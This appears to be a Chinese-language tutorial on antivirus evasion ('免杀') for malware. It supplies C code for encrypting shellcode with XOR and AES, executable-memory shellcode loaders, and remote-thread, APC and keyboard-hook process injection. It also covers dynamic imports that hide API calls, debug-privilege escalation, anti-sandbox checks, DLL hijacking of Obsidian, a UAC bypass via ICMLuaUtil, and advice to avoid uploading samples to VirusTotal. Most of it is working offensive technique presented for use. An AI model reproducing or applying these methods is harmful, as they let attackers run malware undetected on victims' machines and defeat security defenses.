免杀杂谈
字数 1439 2025-08-18 11:35:30
免杀技术全面指南
一、免杀概述
免杀技术是指通过各种手段使恶意程序绕过杀毒软件的检测。免杀的目的不一定是让所有杀毒软件都无法检测,而是针对特定目标机器使其无法检测。
免杀分类
1. 从需求方面
- 木马免杀
- 权限维持免杀
- 工具免杀
- 其他免杀
2. 从免杀阶段方面
- 静态免杀
- 动态免杀:
- 执行免杀
- 内存免杀
- 行为免杀
- 流量免杀
3. 从payload加载方面
- 本体免杀:可执行程序直接运行,payload写死在程序中
- 分离免杀:制作加载器,分离加载器和载荷
- 白加黑免杀:白程序+黑DLL的加载方式
- DLL相关:各种DLL加载方式(远线程、全局钩子、HOOK、劫持)
- webshell免杀:通过变形、加密、混淆等手段
4. 从编程语言方面
- C/C++:速度快,文件小,功能多
- Python:新手友好,但编译后文件大
- Go:速度快,简单,支持各种库
- Java:主要用于webshell免杀
- C#:常见,可在CS中使用execute-assembly直接加载
- PHP:主要用于webshell免杀
- 其他语言:Rust、Nimlang、Ruby等
二、载荷编码加密与对抗
1. 异或编码(C语言示例)
unsigned char buf[] = "shellcode";
int password = 1025;
unsigned char enShellCode[50000];
unsigned char deShellCode[50000];
int nLen = sizeof(buf) - 1;
// 加密
for (int i = 0; i < nLen; i++) {
enShellCode[i] = buf[i] ^ password;
printf("\\x%x", enShellCode[i]);
}
// 解密
for (int i = 0; i < nLen; i++) {
deShellCode[i] = enShellCode[i] ^ password;
printf("\\x%x", deShellCode[i]);
}
2. AES加密(C语言示例)
void aes_encrypt(const unsigned char *plaintext, int plaintext_len,
const unsigned char *key, unsigned char *ciphertext) {
AES_KEY aes_key;
AES_set_encrypt_key(key, 128, &aes_key);
int num_blocks = plaintext_len / BLOCK_SIZE + (plaintext_len % BLOCK_SIZE == 0 ? 0 : 1);
unsigned char block[BLOCK_SIZE];
for (int i = 0; i < num_blocks; i++) {
int j;
for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < plaintext_len; j++) {
block[j] = plaintext[i * BLOCK_SIZE + j];
}
for (; j < BLOCK_SIZE; j++) {
block[j] = '\0';
}
AES_encrypt(block, &ciphertext[i * BLOCK_SIZE], &aes_key);
}
}
void aes_decrypt(const unsigned char *ciphertext, int ciphertext_len,
const unsigned char *key, unsigned char *plaintext) {
AES_KEY aes_key;
AES_set_decrypt_key(key, 128, &aes_key);
int num_blocks = ciphertext_len / BLOCK_SIZE + (ciphertext_len % BLOCK_SIZE == 0 ? 0 : 1);
unsigned char block[BLOCK_SIZE];
for (int i = 0; i < num_blocks; i++) {
AES_decrypt(&ciphertext[i * BLOCK_SIZE], block, &aes_key);
int j;
for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < ciphertext_len; j++) {
plaintext[i * BLOCK_SIZE + j] = block[j];
}
}
}
三、分离载荷技术
1. 本地载荷读取(C语言)
// 读取文件
char* buf = (char*)malloc(926 + 1);
HANDLE openinfile = CreateFileA("aaa.txt",GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
int size = GetFileSize(openinfile, NULL);
DWORD lpNumberOfBytesRead = 0;
BOOL rfile = ReadFile(openinfile, buf, size, &lpNumberOfBytesRead, NULL);
// 写入文件
HANDLE hFile = CreateFile(L"aaa.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD lpNumberOFBytesWrite = 0;
BOOL wfile = WriteFile(hFile, buf, size, &lpNumberOFBytesWrite, NULL);
2. 远程shellcode读取
主要结构:
- 解析路径,分析端口、资源文件、协议
- 远程拉取文件读取进内存
- 分配内存远程线程注入或开进程注入
HTTP请求示例:
WinHttpOpen
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
3. 读取注册表
#include <stdio.h>
#include <windows.h>
int main() {
HKEY hKey;
char value[255];
DWORD bufSize = sizeof(value);
if (RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
if (RegGetValue(hKey, NULL, "ProductName", RRF_RT_REG_SZ, NULL,
value, &bufSize) == ERROR_SUCCESS) {
printf("Product Name: %s\n", value);
} else {
printf("Failed to read registry value.\n");
}
RegCloseKey(hKey);
} else {
printf("Failed to open registry key.\n");
}
return 0;
}
四、加载器入口点技术
1. VirtualAlloc直接加载
#include <stdio.h>
#include <windows.h>
using namespace std;
int main() {
char shellcode[] = "shellcode";
LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, sizeof shellcode);
((void(*)())lpAlloc)();
return 0;
}
2. 创建线程运行
void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
3. 远程线程加载
targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode,
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
4. APC注入
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
5. HOOK键盘SetWindowHookEx代码注入
HMODULE library = LoadLibraryA("Dll1.dll");
HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "spotlessExport");
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);
Sleep(10 * 1000);
UnhookWindowsHookEx(hook);
DLL中代码:
extern "C" __declspec(dllexport) int spotlessExport() {
unsigned char shellcode[] = "";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
五、其他技术
1. Bypass导入表(动态导入表)
typedef LPVOID(WINAPI* ImportVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(
GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
2. 获取进程令牌权限
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;
BOOL bResult;
bResult = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
bResult = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TokenPrivileges.Privileges[0].Luid);
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bResult = AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges,
sizeof(TOKEN_PRIVILEGES), NULL, NULL);
3. 判断当前权限
#include <ShlObj.h>
#include <tchar.h>
int _tmain() {
BOOL bIsAdmin = IsUserAnAdmin();
if (bIsAdmin)
_tprintf_s(_T("Run As administrator"));
else
_tprintf_s(_T("Run As user"));
system("pause");
return 0;
}
4. 反沙箱技术
- 读取注册表
- 判断CPU、内存等硬件信息
- 检测进程
- 延时执行
六、白加黑技术
白加黑技术是指利用合法的白程序加载恶意的黑DLL执行。
白加黑分类
-
加载不存在的DLL
- 利用LoadLibrary或LoadLibraryEx API
- DLL不需要任何导出函数即可被加载
-
加载存在的DLL
- 替换或劫持系统已有的DLL
DLL加载顺序
- EXE所在目录
- 当前目录(GetCurrentDirectory())
- 系统目录(GetSystemDirectory())
- WINDOWS目录(GetWindowsDirectory())
- 环境变量PATH包含的目录
示例:Obsidian的DLL劫持
- 找到需要LoadLibrary的DLL
- 编写恶意DLL放到和程序同目录
- 运行程序自动调用恶意DLL
七、工具免杀
- 将可执行文件转换为shellcode再加载
- 对于fscan、frp等工具:
- 修改流量特征
- 修改运行参数
- 行为免杀
八、其他功能
Bypass UAC
通过允许的应用程序提升权限激活COM类,使用ICMLuaUtil的ShellExec创建进程。
允许的进程包括:
- 记事本
- 计算器
- 资源管理器
- rundll32.exe
九、注意事项
- 不同语言编译有不同的参数命令,影响免杀效果
- 了解主要杀毒软件的规则
- 测试时断网
- 不要直接将样本上传到VirusTotal
总结
免杀技术主要围绕分离免杀和加载器设计,结合编码混淆技术。APT组织常用多层调用和分段加密技术,使取证分析更加困难。建议深入研究调试技术,而不仅仅是编译运行现有项目。